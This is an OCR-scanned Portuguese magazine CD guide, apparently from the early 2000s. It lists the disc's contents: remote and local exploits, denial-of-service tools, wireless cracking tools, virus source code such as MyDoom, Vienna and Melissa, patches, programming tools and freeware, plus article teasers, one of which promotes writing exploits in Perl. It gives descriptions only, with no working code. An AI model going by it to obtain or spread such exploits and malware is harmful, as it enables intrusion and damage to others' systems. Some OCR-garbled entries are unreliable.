FTP de conexao passiva hijacker.

Phpmyadmin

O phpMyAdmin 2.5.5-pl1 e anteriores nao
transformam variaveis apropriadamente,
resultando na abertura da aplicacao a um
ataque directory traversal.

Psoproxy

Exploit remoto que usa um buffer overflow
durante requests GET no PSOProxy server
versao 0.91.

Redhat expect exploit
Exploit local para a expect library do
RedHat Linux.

Samba scan

rede inteira ou um nUmero de hosts por
SMB shares e lista os contelidos de todos os
shares publicos encontrades.

Sami FTP server 1.1.3

A versdo 1.13 do Sami FTP server tem
multiplas vulnerabilidades que podem levar
a um atague denial of service.

Scan DNS
Determina se um servico DNS esta disponivel.

ShopCartCGI 2.3

2 2 4 SR

Smallftpd 1.0.3

Esta versao cai guando um directory
traversal ocorre.

Sqlsmack
Cliente para linha de comando Unix
para MS-SQL.

Symantec Firewall

O Symantec FireWall/A/PN Appliance
modelo 200 mostra a senha de administra-
dor em texto claro por um conexao HTTP
nao-encriptada.

THC Leapcracker

Ferramentas para quebrar a ténica '
NTChallengeResponse de encriptacéao,
usada pelo sistema Cisco Wireless LEAP de
autenticacdo. Também contém ferramen-
tas de spoofing challenge-packets para AP
(acess point), permitindo assim um atague
direto a cada usuario de uma rede wireless.

Unicoder
Exploit unicode para IS 4/5 com SSL e
Proxy ativados.

Webday
Exploit para webdav/ntdll.dil overflow no lIS.

Webstore 2000

O WebCortex Webstores2000 versao 6.0
contém uma vulnerabilidade de SQL
Injection que permite ao atacante remoto
adicionar uma conta administrativa, além
de uma falha de cross site scripting.

Programa escrito para testar se um sistema
Linux x86 esta exposto a vulnerabilidade no
do_mremap().

Mssmitp
Destrua o servico SMTP do Windows 2000.

Nfsping
Scanner nfs extremamente rapido.

Novellnetware

Versges 5.1 e 6.0 sao vulneraveis a varios
atagues de cross site scripting, path
disclosure e listagem de diretdrio.

Arersag2-3-ade-Sheptar
multiplas vulnerabilidades de directory
traversal, que permite a ataques
remotos ganharem acesso a arguivos
fora do webroot.

SMBMount DOS

© smbmount pode causar um denial of
service no Windows. O atague leva o
sistema a uma falta de memaria criando
diretorios de uma maneira especial.

SQLRDS
Restabelece uma query SQL através de
componentes lIS's RDS.

Win Blast

Exploit que comete um denial of service no
recurso Samba File Sharing de Windows
XPf2003.

Xploit dbg

Exploit que testa varias vulnerabilidades em
uma das funcoes APl do kernel native do
Windows XP.

Serv u

Exploit remoto gue utiliza um buffer
overrun no Serv-U FTP server tanto nas
versoes 4.2, como nas anteriores.




GUIA DO CD

>> Categoria:

Virus

Xp Blaster Pro

Ao infectar o Windows XP, faz com que
o sistema seja reinicializado apés cinco
minutos de uso.

W32.RedDwarf.Worm-B
Decompilation

Cédigo-fante do virusem HTML e
sua decompilacao.

How to upload/execute code
via MyDoom’s backdoor
Anélise do virus MyDoom feita pelo
Rosiello Security's.

Better asm source for
Mydoom.A (Unpacked from
UPX)

Cadigo-fonte do virus MyDoom escrito
em assembly.

Virri

Nova versao deste pacote com dez
codigos de virus, incluinde o
AnnaKournikova, cih, iloveyou, maker,
homepage, mawanella, melissa, run,
tune, e VBSWG-AQ.

Codige-fonte do virus Pix, escrito
em assembly.

Michelan
Cadigo-fonte do virus Michelan escrito
em assembly.

Vienna
C 6digo-fonte do virus Vienna escrito
erm assembly

Cissi Worm
Arguivos com dados do Cissi Worm.

Categoria: Programacao

Perl-5.8.3
Uma das mais poderosas linguagens de

_ programacao, a “Practical Extraction And

Report Language” (Perl), criada por Larry
Wall. Seja um monge vocé também.

QT-3.3.1

Desenvolva aplicacaes gréficas utilizando todo
o poder da biblioteca usada pelo projeto KDE
para a criacao de sua famosa interface
grafica de sistemas operacionais livres, o KDE.

QT Embedded-3.3.1

Aversdo "small” da QT para programacao de
interfaces gréficas para sistemas embedded.

Gee-3.3.3

Sem duvida, o compilador mais
famoso. Faz de tudo, desde seus
codigos em C até um ovo frito, se
vocé quiser,

LCCWin32

Compilador da linguagem de progra-
macao C, que deu origem a varios
sistemas operacionais.

Cédigo do Editor

Utilize o cddigo do editor para acompa-
nhar seus estudos do tutorial de QT da
categoria Docs.

> Categoria: Patches

Microsoft Windows Server 2003:
KB830352
Correcao para o Windows 2003 Server,

- onde foi encontrada uma falha de seguran-

¢a que permitia que um invasor comprome-
tesse um computador executande o Servico
de cadastramento na Internet do Microsoft
Windows (WINS), obtendo controle sobre o
mesmo. Requer Windows 2003.

Internet Explorer 6 Service Pack 1
(KB831167)

Correcao para o problema “HTTP 500 - erro de
servidorinterno”, mensagem gue comecou a ser
exibida durante a tentativa de visitar sites seguros.

Patch do Windows XP

Capacidade AMD agora disponivel no XP
melhore o desempenho de seu notebook,
ajustando dinamicamente a voltagem e
freqliéncia operacional de acordo com a
tarefa. Tecnologia PowerNow! para os
processadores méveis AMD Athlon 4.

Windows Server 2003 64-bit Edition
and Windows XP 64-bit Edition
Version 2003: KB828028

Versdo em inglés da correcao da falha
encontrada nessas versoes do Windows,
que permitia a um invasor comprometer
seu sistema.

Outlook Express 6 Service Pack 1
Correcédo do erro de exibicao de informa-
¢bes em linguas diferentes que ocorria
durante a consulta a “Dicasdo Dia”.

Openwall Linux kernel patch

Mais segurancga para o kernel do Linux.
Com varios reparos de seguranca que
mantém a privacidade, impedindeo gue os
usuarios possam Ver o gue outros :
estao fazendo.

DSA-450-1 linux-kernel-2.4.19-mips
Falhas encontradas na raiz do sistema séo
corrigidas com esse patch.

Debian - DSA-449-1 metamail
Corregoes de erros no metamail, que
permitia que invasores utilizassem seu
cliente de e-mail.

Debian -kernel-source-2.2.22,
kernel-image-2.2.22-alpha

Correcao para a falha de seguranca no :
codigo de gerenciamento de meméria do
Linux dentro do mremap(2). da chamada
do sisteama. : 5

Slackware — Muit : _
Reparo para Mutt no Slackware que poderia
ocasionar problemas no computador.




>> Categoria: Docs

POD - documentation in PDF

Colecao eminglés de documentos gerados pelo projeto POD -
Documentation in PDF, criado para prover arquivos PDF para docu-
mentacao Perl . Nele, vocé encontrara diversos “Perl Programmers
Reference Guides”, escritos por Larry Wall, criador da linguagem.

EmbPerl
Tutorial em inglés que ensina a utilizar Perl embed nos seus
documentos HTML.

Artigo escrito por Carlos Duarte, introduzindo a linguagem Perl.

Programacio QT

Tutorial dividido em cinca partes, direcinrnado tanto a programado-
res experientes como iniciantes, escrite por Ricarde Viaz Mannrich
para o site comlinux.com.br. Obs.: vocé encontraré na secao
“programacac” dentro do CD, um diretério chamadc “cédigo”.
Dentro dessa pasta, encontra-se um codigo-fonte que serd

utilizado durante a leitura da parte 5 do tutorial.

Categoria: Kit de Acesso

aShampoo

Acelerador de conexdo a Internet Freeware

Download Aceelerator v5.3
Gerenciador e acelerador de downloads

Discador Digerati (Win32)
Discador para conexao totalmente gratis no provedor Digerati.com

Discador Digerati (Linux)
Discador para conexao totalmente grétis no provedor Digerati.com

ePrompter
Utilitario que checa e visualiza contas POP diretamente do servidor.

ICQ Lite
Versao simplificada e em portugués do instant messenger mais
famoso do mundo.

0AdPopUp
Blogueador gue impede a abertura de janelas pop-up no navegador.

Ultrafunk PopCorn

Cliente de e-mail simples e superleve.

> Categoria: Essenciais

Acrobat Reader 6.0.1
Visualize, navegue e imprima Adobe PDFs no seu browser.

Acrobat Reader 5.08 (Linux)

Visualize, navegue e imprima Adobe PDFs no Linux com o
Acrobat Reader.

Java 2 Runtime Environment SE 1.4.2

Parte integrante do Java 2 SDK, mas sem as ferramentas de
desenvolvimento, como compiladores e debugadores. Cansiste
em uma maguina virtual Java, com as classes mais utilizadas
na plataforma.

Flash Player v7.0 (Netscape,Opera)
Ultima verséo do plug-in para Netscape do principal formato de
animacao para Web.

Flash Player v7.0 (IE)
Ultima verséo do plug-in para Internet Explorer do principal
formato de animacao para Web.

DivX 5.1
Programa para assistir a videos no padrao DivX, um formato de
compressao de video.

Filzip v3.0 ;
Utilitario para compressao que trabalha com 15 formatos diferen-
tes como ARJ, CAB, RAR, TAR e LHA. O programa se integra ao
Windows, suporta drag-and-drop, compressao e extracao de
arquivos direto do menu de contexto do Explorer.

Explorer 2fs
Visualize e acesse o contelido da sua particdo Linux no Windows
com uUma interface parecida com a do Windows Explorer.

Microsoft Windows Installer v2.0

Patch da Microsoft necessério para a instalacao de pacotes de
programas com a extensao MSI

Uninstall Manager v4.10

Programa para a desinstalacao de arquives que faz leiturade
tudo o que serd desinstalado e apaga completamente qualquer
sobra de arquivo.

WinRAR v3.20

Compactador para Windows que possui supérte aos formatos
RAR, ZIP, CAB, ARJ, LZH, versoes GUI e opcéo de recuperacio de
dados. Oferece melhor encriptacio, comentérios ANSI, Self-
Extractor, DOS e OS/2 :
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Como José, milhares de pessoas no Brasil ainda nao tiveram
a oportunidade de conhecer o mundo digital. A Digerati conta com
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em sua cidade e financiamos o material didatico para ela.
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T: o Linux também
pode ficar mais bonito

S&0 muitas as opgdes para desenvolvimento
ne Linux. A TrollTech langou o toolkit QT,
uma alternativa ao Kylix da Borland robusta
e simples de ser implementada em outras
plataformas. A QT tem interfaces de
programacao C++, Python e Ruby, entre
outras. Também vem com um pregrama
muite interessante, o QTDesigner, que
permite ao usuario “desenhar” suas telas,
fazer previews e inserir cédigos.

Exploits em Perl:
use uma linguagem
poderosa para

seus projetos

O Perl é hoje uma das linguagens de
programacdo mais pederosas que existe.
Fécil de aprender e cheia de possibilidades,
a linguagem criada por Larry Wall pode
servir também para criar exploits de dar
inveja. Confira ainda o Perl 5.8 completo
no CD. Seja um monge vocé também.

Firewall transparente:
faca vocé mesmo

O firewall tem como principal fungio o
bloqueio de pacotes ou filtro de aplicagdes.
Que tal pensar em um firewall transparente,
que exibe facilmente dados de sua configura-
¢ao? Deste modo, ataques podem ser inibidos
ou hackers podem ter a atencao desviada de
outro servidor mais poderoso.

Tutorial de C:
Ponteiros

Neste tutorial, explore aperacoes com peonteires.
Entender o assunto é essencial para compreen-
der outros pontes importantes, como o trata-
mento de memaria. Entre os tépicos discutidos
estdo a comparacao de ponteiros, ponteiros e
matrizes e indirecao.

Assim caminham
as pragas

O que acontecera com virus e
trojans no futuro

Se vocé ainda duvida que pode ser vitima de
uma praga virtual, tome cuidado! Vocé
podera ser mais uma vitima dos virus e
trojans que ddo a volta ao mundo em
segundos e batem no seu PC. Examine quais
0s riscos em continuar usando sistemas alvo
como o Windows. Conheca a importancia
dos virus que se disseminam por bugs e faca
suas apostas no futuro.
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Subculture: |
cultura hacker

Livro

Apocalipse Motorizado — Entenda a relacdo ]
de amor e 6dio que temos com automaéveis e 9
decida: guer destruir o seu carro?

Cinema

Hellboy ? Do inferno para a tela dos cinemas,

urna das melhores adaptacoes dos quadrinhos de
todos os tempos .
Eu, Robd ? Andréide suspeito pode ser

assassino fora-da-lel. Ex-rapper delegado de

policia é o investigador em adaptacio de livio de
Isaac Asimov

Musica

Incubus — Em A Crow Left Of The Murder,
velha férmula continua fazendo sucesso
Neurotron — Conheca o duo alemao que traz o
mais puro e delicioso deep house nos EPs
Purushae Too Close to Dawn

para eleitos

Carta aberta de Stallman comemara 20
anos de Software Livre. Hackers ameacam
agenciadores de épostas da Web. Segre-
dos hildrios no cédigo-fonte do Windows. V.
Férum Internacional de Software Livre
prepara as maquinas. Criptografia para
streaming na linha de producao. Ataques
mancham reputacdo do Debian. Hacker
invade ViewSonic e é condenado a um ano

News: pequenas doses de informacio

de prisao. Mozilla Firebird transforma-se em
Firefox. Erros no Internet Explorer ddo show
de vulnerabilidades. MP3 passara a utilizar a
tecnologia DRM. Volta do Napster decepciona.
Criadores de virus trocam “elogios” em meio a _
cédigos. ADSL 2+ é novo acesso banda larga.
Orkut é ferramenta para unir comunidades
virtuais. SCO contra-ataca. Empregada-robd
lava, passa e cozinha e muito mais.

i

0 conteudo do CD brinde &€ composto por programas freeware. shareware e versées
de demonstracéo
Canfiguracéo minima do equipamento: processador Pentium Il ou superior com 84 MB de
RAM; placa de video com 16 MB, resolucao de 8B00xB00 pixels e 18 milhdes de cares;

placa de som. ; B

vos alheios a nossa vontade, podemn n3o rodar no Windows X




